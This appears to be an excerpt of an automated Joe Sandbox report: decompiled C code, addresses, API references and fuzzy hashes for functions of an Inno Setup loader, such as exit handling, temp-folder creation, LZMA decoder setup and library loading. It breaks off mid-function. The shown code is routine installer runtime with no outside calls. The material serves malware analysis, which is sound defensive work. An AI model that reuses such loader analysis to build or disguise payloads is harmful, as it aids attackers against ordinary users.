					E004012DC(0x40b43c);
					E004012DC(0x40b44c);
					E004012DC(0x40b478);
					_t14 =  *0x40b434; // 0x0
					while(_t14 != 0) {
						 *0x40b434 =  *_t14;
						LocalFree(_t14);
						_t14 =  *0x40b434; // 0x0
					}
					_pop( *[fs:0x0]);
					_push(0x401abb);
					if( *0x40b032 != 0) {
						_push(0x40b41c);
						L0040127C();
					}
					_push(0x40b41c);
					L00401284();
					return _t14;
				}
			}

0x004019dd
0x004019e7
0x00401abd
0x004019ed
0x004019ef
0x004019f0
0x004019f5
0x004019f8
0x00401a02
0x00401a04
0x00401a09
0x00401a09
0x00401a0e
0x00401a15
0x00401a1b
0x00401a22
0x00401a27
0x00401a41
0x00401a36
0x00401a3a
0x00401a3f
0x00401a3f
0x00401a4e
0x00401a58
0x00401a62
0x00401a67
0x00401a6e
0x00401a72
0x00401a79
0x00401a7e
0x00401a83
0x00401a87
0x00401a91
0x00401a9d
0x00401a9f
0x00401aa4
0x00401aa4
0x00401aa9
0x00401aae
0x00401ab3
0x00401ab3

APIs

RtlEnterCriticalSection.KERNEL32(0040B41C,00000000,00401AB4), ref: 00401A09
LocalFree.KERNEL32(00000000,00000000,00401AB4), ref: 00401A1B
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,00000000,00401AB4), ref: 00401A3A
LocalFree.KERNEL32(00000000,00000000,00000000,00008000,00000000,00000000,00401AB4), ref: 00401A79
RtlLeaveCriticalSection.KERNEL32(0040B41C,00401ABB), ref: 00401AA4
RtlDeleteCriticalSection.KERNEL32(0040B41C,00401ABB), ref: 00401AAE

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: CriticalFreeSection$Local$DeleteEnterLeaveVirtual
String ID:
API String ID: 3782394904-0
Opcode ID: 6c76a69aab1a1f3df5ba2e12c30d7b7fa82e2f09a92a1617bef653e377a21f91
Instruction ID: b0c8d0c63b49c6aaabe66432ff64a941bd842da83dadee4e543dc85868b8677d
Opcode Fuzzy Hash: 6c76a69aab1a1f3df5ba2e12c30d7b7fa82e2f09a92a1617bef653e377a21f91
Instruction Fuzzy Hash: FD1130707823809ADB11ABA59EC6F523668D745B08F44447EF444BA3F3C77C9950CAAD

Uniqueness

Uniqueness Score: -1.00%

Function 00403DA6 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E00403DA6(int __eax) {
				intOrPtr* _t7;
				intOrPtr* _t8;
				signed int _t15;
				signed int _t19;
				intOrPtr _t20;
				unsigned int _t21;
				char* _t29;
				char* _t30;
				void* _t46;

				 *0x40b020 = __eax;
				if( *0x40b030 == 0) {
					goto L5;
				} else {
					_t46 =  *0x40b414 - 1;
					if(_t46 < 0) {
						L17:
						ExitProcess( *0x40b020); // executed
					} else {
						if(_t46 == 0 || __eax != 0) {
							while(1) {
								L5:
								_t7 =  *0x40b024; // 0x0
								_t8 = _t7;
								if(_t8 == 0) {
									break;
								}
								 *0x40b024 = 0;
								 *_t8();
							}
							if( *0x40b028 != 0) {
								_t19 =  *0x40b020; // 0x0
								_t29 = "  at 00000000";
								do {
									_t2 = _t19 % 0xa;
									_t19 = _t19 / 0xa;
									 *_t29 = _t2 + 0x30;
									_t29 = _t29 - 1;
								} while (_t19 != 0);
								_t30 = 0x40a030;
								_t20 =  *0x40b028; // 0x0
								_t21 = _t20 - 0x401178;
								do {
									 *_t30 =  *((intOrPtr*)((_t21 & 0x0000000f) + 0x403ec0));
									_t30 = _t30 - 1;
									_t21 = _t21 >> 4;
								} while (_t21 != 0);
								if( *0x40b031 != 0) {
									E00404088(0x40b204, "Runtime error     at 00000000");
									E0040400B();
								} else {
									MessageBoxA(0, "Runtime error     at 00000000", "Error", 0);
								}
							}
							E00403D6C(0x40b038);
							E00403D6C(0x40b204); // executed
							E004019DC(); // executed
							if( *0x40b414 == 0) {
								E004030B4();
								goto L17;
							}
						}
					}
				}
				E004030B4();
				 *0x40b414 = 0;
				_t15 =  *0x40b020; // 0x0
				asm("sbb eax, eax");
				return  ~_t15 + 1;
			}

0x00403da8
0x00403db4
0x00000000
0x00403db6
0x00403db6
0x00403dbd
0x00403e83
0x00403e89
0x00403dc3
0x00403dc3
0x00403dcd
0x00403dcd
0x00403dcd
0x00403dd2
0x00403dd4
0x00000000
0x00000000
0x00403dd8
0x00403dde
0x00403dde
0x00403de9
0x00403deb
0x00403df0
0x00403dfa
0x00403dfc
0x00403dfc
0x00403e01
0x00403e03
0x00403e04
0x00403e08
0x00403e0d
0x00403e12
0x00403e17
0x00403e22
0x00403e24
0x00403e25
0x00403e25
0x00403e31
0x00403e52
0x00403e57
0x00403e33
0x00403e41
0x00403e41
0x00403e31
0x00403e61
0x00403e6b
0x00403e70
0x00403e7c
0x00403e7e
0x00000000
0x00403e7e
0x00403e7c
0x00403dc3
0x00403dbd
0x00403e8e
0x00403e93
0x00403e9a
0x00403ea1
0x00403ebd

APIs

MessageBoxA.USER32 ref: 00403E41
ExitProcess.KERNEL32 ref: 00403E89

Strings

Runtime error at 00000000, xrefs: 00403E3A, 00403E4D
Error, xrefs: 00403E35

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: ExitMessageProcess
String ID: Error$Runtime error at 00000000
API String ID: 1220098344-2970929446
Opcode ID: c79c1e547e07a3d1ac10d563cbf51c4eb115eb0186fe91d057b894d5a3940c77
Instruction ID: e959e555da05728f6c5869fbe468bed2cd35297cb525c612a59fe2bc640103ba
Opcode Fuzzy Hash: c79c1e547e07a3d1ac10d563cbf51c4eb115eb0186fe91d057b894d5a3940c77
Instruction Fuzzy Hash: 9F21C130A203454AD710AF299A457163E99DB89709F04817BE610BB3E3C73D8A49C7EE

Uniqueness

Uniqueness Score: -1.00%

Function 00401918 Relevance: 6.0, APIs: 4, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E00401918() {
				void* _t11;
				signed int _t13;
				intOrPtr _t19;
				void* _t20;
				intOrPtr _t23;

				_push(_t23);
				_push(E004019CE);
				_push( *[fs:edx]);
				 *[fs:edx] = _t23;
				_push(0x40b41c);
				L0040126C();
				if( *0x40b032 != 0) {
					_push(0x40b41c);
					L00401274();
				}
				E004012DC(0x40b43c);
				E004012DC(0x40b44c);
				E004012DC(0x40b478);
				_t11 = LocalAlloc(0, 0xff8); // executed
				 *0x40b474 = _t11;
				if( *0x40b474 != 0) {
					_t13 = 3;
					do {
						_t20 =  *0x40b474; // 0x0
						 *((intOrPtr*)(_t20 + _t13 * 4 - 0xc)) = 0;
						_t13 = _t13 + 1;
					} while (_t13 != 0x401);
					 *((intOrPtr*)(0x40b460)) = 0x40b45c;
					 *0x40b45c = 0x40b45c;
					 *0x40b468 = 0x40b45c;
					 *0x40b415 = 1;
				}
				_pop(_t19);
				 *[fs:eax] = _t19;
				_push(E004019D5);
				if( *0x40b032 != 0) {
					_push(0x40b41c);
					L0040127C();
					return 0;
				}
				return 0;
			}

0x0040191d
0x0040191e
0x00401923
0x00401926
0x00401929
0x0040192e
0x0040193a
0x0040193c
0x00401941
0x00401941
0x0040194b
0x00401955
0x0040195f
0x0040196b
0x00401970
0x0040197c
0x0040197e
0x00401983
0x00401983
0x0040198b
0x0040198f
0x00401990
0x0040199c
0x0040199f
0x004019a1
0x004019a6
0x004019a6
0x004019af
0x004019b2
0x004019b5
0x004019c1
0x004019c3
0x004019c8
0x00000000
0x004019c8
0x004019cd

APIs

RtlInitializeCriticalSection.KERNEL32(0040B41C,00000000,004019CE,?,?,0040217A,01FD1E74,?,00000000,?,?,00401B95,00401BAA,00401CEE), ref: 0040192E
RtlEnterCriticalSection.KERNEL32(0040B41C,0040B41C,00000000,004019CE,?,?,0040217A,01FD1E74,?,00000000,?,?,00401B95,00401BAA,00401CEE), ref: 00401941
LocalAlloc.KERNEL32(00000000,00000FF8,0040B41C,00000000,004019CE,?,?,0040217A,01FD1E74,?,00000000,?,?,00401B95,00401BAA,00401CEE), ref: 0040196B
RtlLeaveCriticalSection.KERNEL32(0040B41C,004019D5,00000000,004019CE,?,?,0040217A,01FD1E74,?,00000000,?,?,00401B95,00401BAA,00401CEE), ref: 004019C8

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: CriticalSection$AllocEnterInitializeLeaveLocal
String ID:
API String ID: 730355536-0
Opcode ID: 62b43acc0c014e845e7ec1459505867db7c77a511b853e11806176e9f642a6df
Instruction ID: 1fbc517603835383e1336f1caa5f3efd636d2a280deaa4dd4e997cee02ce5fac
Opcode Fuzzy Hash: 62b43acc0c014e845e7ec1459505867db7c77a511b853e11806176e9f642a6df
Instruction Fuzzy Hash: 2B016DB0A843409EE715AB6A9A56B263AA4D785B04F1484BFF050FA3F3C77C4550C7DD

Uniqueness

Uniqueness Score: -1.00%

Function 00408FD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 56%

			E00408FD4(void* __eax, long __ebx, void* __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				intOrPtr _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				int _t30;
				intOrPtr _t62;
				void* _t72;
				intOrPtr _t75;

				_t70 = __edi;
				_t53 = __ebx;
				_t54 = 0;
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(__ebx);
				_push(__edi);
				_t72 = __eax;
				_push(_t75);
				_push(0x4090c3);
				_push( *[fs:eax]);
				 *[fs:eax] = _t75;
				while(1) {
					E00406B60( &_v12, _t53, _t54, _t70, _t72); // executed
					_t54 = 0x4090dc;
					E00408EC8(0, _t53, 0x4090dc, _v12, _t70, _t72,  &_v8); // executed
					_t30 = CreateDirectoryA(E004034B8(_v8), 0); // executed
					if(_t30 != 0) {
						break;
					}
					_t53 = GetLastError();
					if(_t38 != 0xb7) {
						E00408A80(0x2f,  &_v28, _v8);
						_v24 = _v28;
						E00404C60(_t53,  &_v32);
						_v20 = _v32;
						E004070D8(_t53,  &_v36);
						_v16 = _v36;
						E00408A50(0x60, 2,  &_v24,  &_v12);
						_t54 = _v12;
						E0040585C(_v12, 1);
						E00402EB4();
					}
				}
				E0040322C(_t72, _v8);
				_pop(_t62);
				 *[fs:eax] = _t62;
				_push(E004090CA);
				E004031B8( &_v36, 3);
				return E004031B8( &_v12, 2);
			}

0x00408fd4
0x00408fd4
0x00408fd7
0x00408fd9
0x00408fda
0x00408fdb
0x00408fdc
0x00408fdd
0x00408fde
0x00408fdf
0x00408fe0
0x00408fe1
0x00408fe3
0x00408fe4
0x00408fe8
0x00408fe9
0x00408fee
0x00408ff1
0x00408ff4
0x00408ffb
0x00409003
0x0040900a
0x0040901a
0x00409021
0x00000000
0x00000000
0x00409028
0x00409030
0x0040903e
0x00409046
0x0040904e
0x00409056
0x0040905e
0x00409066
0x00409073
0x00409078
0x00409082
0x00409087
0x00409087
0x00409030
0x00409096
0x0040909d
0x004090a0
0x004090a3
0x004090b0
0x004090c2

APIs

CreateDirectoryA.KERNEL32(00000000,00000000,?,00000000,004090C3,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040901A
GetLastError.KERNEL32(00000000,00000000,?,00000000,004090C3,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00409023

Strings

.tmp, xrefs: 00409003

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID: .tmp
API String ID: 1375471231-2986845003
Opcode ID: 1cea449666cdd0ed85d24bb2760ad0d574e486da7f0c2cbca6b096bfadc8e6bf
Instruction ID: 3220a296c2fa314433b07343a343c63327ff16af74aef59c18056ed8c3e7a7a5
Opcode Fuzzy Hash: 1cea449666cdd0ed85d24bb2760ad0d574e486da7f0c2cbca6b096bfadc8e6bf
Instruction Fuzzy Hash: C1210675A002089BDB01EBA5C9529DFB7B9EB48304F10457FE901B73C2DA7C9E059AA9

Uniqueness

Uniqueness Score: -1.00%

Function 004091A4 Relevance: 5.0, APIs: 4, Instructions: 45
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004091A4(long __eax, intOrPtr __edx, long _a4, long _a8) {
				intOrPtr _v8;
				long _t5;
				long _t9;
				void* _t10;
				void* _t13;
				void* _t15;
				void* _t16;

				_t5 = __eax;
				_v8 = __edx;
				_t9 = __eax;
				_t15 = _t10 - 1;
				if(_t15 < 0) {
					L10:
					return _t5;
				}
				_t16 = _t15 + 1;
				_t13 = 0;
				while(1) {
					_t19 = _t13 - 1;
					if(_t13 != 1) {
						__eflags = _t13 - 1;
						if(__eflags > 0) {
							Sleep(_a4);
						}
					} else {
						Sleep(_a8);
					}
					_t5 = E00408C60(_t9, _v8, _t19); // executed
					if(_t5 != 0) {
						goto L10;
					}
					_t5 = GetLastError();
					if(_t5 == 2) {
						goto L10;
					}
					_t5 = GetLastError();
					if(_t5 == 3) {
						goto L10;
					}
					_t13 = _t13 + 1;
					_t16 = _t16 - 1;
					if(_t16 != 0) {
						continue;
					}
					goto L10;
				}
				goto L10;
			}

0x004091a4
0x004091ab
0x004091ae
0x004091b2
0x004091b5
0x00409203
0x00409203
0x00409203
0x004091b7
0x004091b8
0x004091ba
0x004091ba
0x004091bd
0x004091ca
0x004091cd
0x004091d3
0x004091d3
0x004091bf
0x004091c3
0x004091c3
0x004091dd
0x004091e4
0x00000000
0x00000000
0x004091e6
0x004091ee
0x00000000
0x00000000
0x004091f0
0x004091f8
0x00000000
0x00000000
0x004091fa
0x004091fb
0x004091fc
0x00000000
0x00000000
0x00000000
0x004091fc
0x00000000

APIs

Sleep.KERNEL32(?,?,?,?,0000000D,?,00409E3C,000000FA,00000032,00409EA3,000000FC,00409528,00000000,STATIC,InnoSetupLdrWindow,00000000), ref: 004091C3
Sleep.KERNEL32(?,?,?,?,0000000D,?,00409E3C,000000FA,00000032,00409EA3,000000FC,00409528,00000000,STATIC,InnoSetupLdrWindow,00000000), ref: 004091D3
GetLastError.KERNEL32(?,?,?,0000000D,?,00409E3C,000000FA,00000032,00409EA3,000000FC,00409528,00000000,STATIC,InnoSetupLdrWindow,00000000,00000000), ref: 004091E6
GetLastError.KERNEL32(?,?,?,0000000D,?,00409E3C,000000FA,00000032,00409EA3,000000FC,00409528,00000000,STATIC,InnoSetupLdrWindow,00000000,00000000), ref: 004091F0

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: ErrorLastSleep
String ID:
API String ID: 1458359878-0
Opcode ID: 56aa7e75167a56a920e5b67f4a02156d664ad88dc0045ca53e1708c400c919b7
Instruction ID: 1baed0ea7b9165708bdd05216e8a8b0124bd17769a51bde77f6f9ef227ebea94
Opcode Fuzzy Hash: 56aa7e75167a56a920e5b67f4a02156d664ad88dc0045ca53e1708c400c919b7
Instruction Fuzzy Hash: 6CF09C7270521E67E620B57A5C8956F7258D9C1364711413BEA04FB292D538CC415369

Uniqueness

Uniqueness Score: -1.00%

Function 00407C20 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 134
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E00407C20(intOrPtr __eax, void* __ebx, void* __edi, void* __esi) {
				char _v5;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				long _v24;
				void* _v28;
				char _v32;
				char _v36;
				char _v40;
				void* _t94;
				intOrPtr _t104;
				intOrPtr _t117;
				signed int _t120;
				void* _t123;
				char _t124;
				void* _t127;
				void* _t142;

				_v32 = 0;
				_t104 = __eax;
				_push(_t127);
				_push(0x407dae);
				_push( *[fs:eax]);
				 *[fs:eax] = _t127 + 0xffffffdc;
				if( *((intOrPtr*)(__eax + 4))() != 1) {
					E00407B34(1);
				}
				if( *((intOrPtr*)(_t104 + 4))() != 4) {
					E00407B34(2);
				}
				if(_v12 < 0 || _v12 > 0x2000000) {
					E00407B34(7);
				}
				if(_v5 >= 0xe1) {
					E00407B34(3);
				}
				_v20 = 0;
				while(_v5 >= 0x2d) {
					_v20 = _v20 + 1;
					_v5 = _v5 - 0x2d;
				}
				_t123 = 0;
				while(_v5 >= 9) {
					_t123 = _t123 + 1;
					_v5 = _v5 - 9;
				}
				_v16 = 0;
				_t120 = E00408818(_v16, _t123);
				if((_t120 & 0x00000003) != 0) {
					_t120 = (_t120 | 0x00000003) + 1;
				}
				_v24 = _v12 + _t120;
				if( *(_t104 + 0x20) != _v24) {
					E00407BC4(_t104);
					_t94 = VirtualAlloc(0, _v24, 0x1000, 4); // executed
					 *(_t104 + 0x1c) = _t94;
					if( *(_t104 + 0x1c) == 0) {
						E00405850();
					}
					 *(_t104 + 0x20) = _v24;
				}
				_v28 =  *(_t104 + 0x1c);
				 *((intOrPtr*)(_t104 + 0x10)) = 0x407b90;
				 *((intOrPtr*)(_t104 + 0x14)) = _t104;
				_t124 = E004081C4(_v28, _v16, _t120, _t104 + 0x10, _v12, _v28 + _t120, _v20, _t123);
				_t142 = _t124 - 1;
				if(_t142 >= 0) {
					if(_t142 == 0) {
						E00407B34(4);
					} else {
						_v40 = _t124;
						_v36 = 0;
						E00405160("LzmaDecoderInit failed (%d)", 0,  &_v40,  &_v32);
						E00407ABC(_v32, _t104, 0, _t120, _t124);
					}
				}
				 *(_t104 + 0x18) = _v28;
				_pop(_t117);
				 *[fs:eax] = _t117;
				_push(E00407DB5);
				return E00403198( &_v32);
			}

0x00407c2b
0x00407c2e
0x00407c32
0x00407c33
0x00407c38
0x00407c3b
0x00407c4d
0x00407c54
0x00407c54
0x00407c6a
0x00407c71
0x00407c71
0x00407c7a
0x00407c8a
0x00407c8a
0x00407c93
0x00407c9a
0x00407c9a
0x00407ca1
0x00407ca8
0x00407caa
0x00407cad
0x00407cb1
0x00407cb7
0x00407cbd
0x00407cbf
0x00407cc0
0x00407cc4
0x00407ccf
0x00407cdc
0x00407ce4
0x00407ce9
0x00407ce9
0x00407cef
0x00407cf8
0x00407cfc
0x00407d0e
0x00407d13
0x00407d1a
0x00407d1c
0x00407d1c
0x00407d24
0x00407d24
0x00407d2a
0x00407d32
0x00407d39
0x00407d57
0x00407d5b
0x00407d5e
0x00407d60
0x00407d69
0x00407d62
0x00407d74
0x00407d77
0x00407d85
0x00407d8d
0x00407d8d
0x00407d60
0x00407d95
0x00407d9a
0x00407d9d
0x00407da0
0x00407dad

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 00407D0E

Strings

-, xrefs: 00407CB1
LzmaDecoderInit failed (%d), xrefs: 00407D80

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: AllocVirtual
String ID: -$LzmaDecoderInit failed (%d)
API String ID: 4275171209-4285503710
Opcode ID: d2110b3af6429a55875fc7914625e4dc743a4f6743e9e24e16858dd4763aa917
Instruction ID: a48428d8d5412f9af56008512fb6c35eaa3a2c32f4c8ff32bf9af2dfcb8c22bf
Opcode Fuzzy Hash: d2110b3af6429a55875fc7914625e4dc743a4f6743e9e24e16858dd4763aa917
Instruction Fuzzy Hash: 6C514370E082499FEB00DFA9C4457AEBBB5EF45304F1480BAE504F72D2D778AD458B9A

Uniqueness

Uniqueness Score: -1.00%

Function 00401FD4 Relevance: 3.1, APIs: 2, Instructions: 122
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEnterCriticalSection.KERNEL32(0040B41C,00000000,00402148), ref: 00402017

Part of subcall function 00401918: RtlInitializeCriticalSection.KERNEL32(0040B41C,00000000,004019CE,?,?,0040217A,01FD1E74,?,00000000,?,?,00401B95,00401BAA,00401CEE), ref: 0040192E
Part of subcall function 00401918: RtlEnterCriticalSection.KERNEL32(0040B41C,0040B41C,00000000,004019CE,?,?,0040217A,01FD1E74,?,00000000,?,?,00401B95,00401BAA,00401CEE), ref: 00401941
Part of subcall function 00401918: LocalAlloc.KERNEL32(00000000,00000FF8,0040B41C,00000000,004019CE,?,?,0040217A,01FD1E74,?,00000000,?,?,00401B95,00401BAA,00401CEE), ref: 0040196B
Part of subcall function 00401918: RtlLeaveCriticalSection.KERNEL32(0040B41C,004019D5,00000000,004019CE,?,?,0040217A,01FD1E74,?,00000000,?,?,00401B95,00401BAA,00401CEE), ref: 004019C8

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: CriticalSection$Enter$AllocInitializeLeaveLocal
String ID:
API String ID: 296031713-0
Opcode ID: 2956ed08cba00207c91bedb70f797ce2ba9ba79a1d7e08a1effb931987ae65ce
Instruction ID: ed07ada503c9dfb2e1eb27cc502ea44feb9c5f3764cbaabb531550d88a14e1fb
Opcode Fuzzy Hash: 2956ed08cba00207c91bedb70f797ce2ba9ba79a1d7e08a1effb931987ae65ce
Instruction Fuzzy Hash: D641D1B2A40705DFDB10CF69DE8561A77A0FB58314B15827BD944B73E2D3789941CB8C

Uniqueness

Uniqueness Score: -1.00%

Function 00408C60 Relevance: 3.0, APIs: 2, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 70%

			E00408C60(void* __eax, void* __edx, void* __eflags) {
				intOrPtr _v8;
				char _v16;
				long _v20;
				intOrPtr _t12;
				intOrPtr _t26;
				void* _t31;
				void* _t33;
				intOrPtr _t34;

				_t31 = _t33;
				_t34 = _t33 + 0xfffffff0;
				if(E00408C14(__eax,  &_v16) != 0) {
					_push(_t31);
					_push(0x408cbd);
					_push( *[fs:eax]);
					 *[fs:eax] = _t34;
					_t12 = E004034B8(__edx);
					L00404488(); // executed
					_v8 = _t12;
					_v20 = GetLastError();
					_t26 = _t12;
					 *[fs:eax] = _t26;
					_push(E00408CC4);
					return E00408C50( &_v16);
				} else {
					_v8 = 0;
					return _v8;
				}
			}

0x00408c61
0x00408c63
0x00408c78
0x00408c83
0x00408c84
0x00408c89
0x00408c8c
0x00408c91
0x00408c97
0x00408c9c
0x00408ca4
0x00408ca9
0x00408cac
0x00408caf
0x00408cbc
0x00408c7a
0x00408c7c
0x00408cd5
0x00408cd5

APIs

6C8D5F60.KERNEL32(00000000,00000000,00408CBD,?,0000000D,00000000), ref: 00408C97
GetLastError.KERNEL32(00000000,00000000,00408CBD,?,0000000D,00000000), ref: 00408C9F

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 467da67866ddee734c22c825485f8c3ad707a3113f5d79c4c45c78662779c30e
Instruction ID: 50205cdb67d28fc191fb2c331cd0b23a95458e84667133931a3cee916848f83d
Opcode Fuzzy Hash: 467da67866ddee734c22c825485f8c3ad707a3113f5d79c4c45c78662779c30e
Instruction Fuzzy Hash: 2FF02230A09708ABEB00EFB59D418ADB3FCDB4931079149BFE914F3381EA384E1042B8

Uniqueness

Uniqueness Score: -1.00%

Function 00406DF4 Relevance: 3.0, APIs: 2, Instructions: 33
libraryCOMMON

Download Yara Rule

C-Code - Quality: 34%

			E00406DF4(void* __eax, void* __ebx, int __edx) {
				struct HINSTANCE__* _v12;
				int _v16;
				int _t4;
				void* _t12;
				intOrPtr _t16;
				void* _t18;
				void* _t19;
				intOrPtr _t20;

				_t18 = _t19;
				_t20 = _t19 + 0xfffffff4;
				_t12 = __eax;
				_t4 = SetErrorMode(__edx); // executed
				_v16 = _t4;
				_push(_t18);
				_push(0x406e66);
				_push( *[fs:eax]);
				 *[fs:eax] = _t20;
				asm("fnstcw word [ebp-0x2]");
				_push(_t18);
				_push(0x406e48);
				_push( *[fs:eax]);
				 *[fs:eax] = _t20;
				_v12 = LoadLibraryA(E004034B8(_t12));
				_pop(_t16);
				 *[fs:eax] = _t16;
				_push(E00406E4F);
				asm("fclex");
				asm("fldcw word [ebp-0x2]");
				return 0;
			}

0x00406df5
0x00406df7
0x00406dfb
0x00406dfe
0x00406e03
0x00406e08
0x00406e09
0x00406e0e
0x00406e11
0x00406e14
0x00406e19
0x00406e1a
0x00406e1f
0x00406e22
0x00406e32
0x00406e37
0x00406e3a
0x00406e3d
0x00406e42
0x00406e44
0x00406e47

APIs

SetErrorMode.KERNEL32(00008000), ref: 00406DFE
LoadLibraryA.KERNEL32(00000000,00000000,00406E48,?,00000000,00406E66,?,00008000), ref: 00406E2D

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: ErrorLibraryLoadMode
String ID:
API String ID: 2987862817-0
Opcode ID: b3393015f1b4cf888f94ac6815341bd1027e86fadb80852e539b0537c044c6ba
Instruction ID: c0beb44b57a6fed944bfd097530307aaa8a821c5429653af2602c50d3bc0072e
Opcode Fuzzy Hash: b3393015f1b4cf888f94ac6815341bd1027e86fadb80852e539b0537c044c6ba
Instruction Fuzzy Hash: 2DF08275A14704BFDB125F76DC6282BBBACE749F0075348B6F910A26D1E53C892085A8

Uniqueness

Uniqueness Score: -1.00%

Function 00409E9E Relevance: 3.0, APIs: 2, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00409E9E(void* __ebx, void* __edx, void* __edi, void* __esi) {
				intOrPtr _t1;
				int _t2;
				intOrPtr _t3;
				intOrPtr _t5;
				intOrPtr _t8;
				void* _t11;
				intOrPtr _t12;
				intOrPtr _t16;
				void* _t17;
				void* _t18;

				_t18 = __esi;
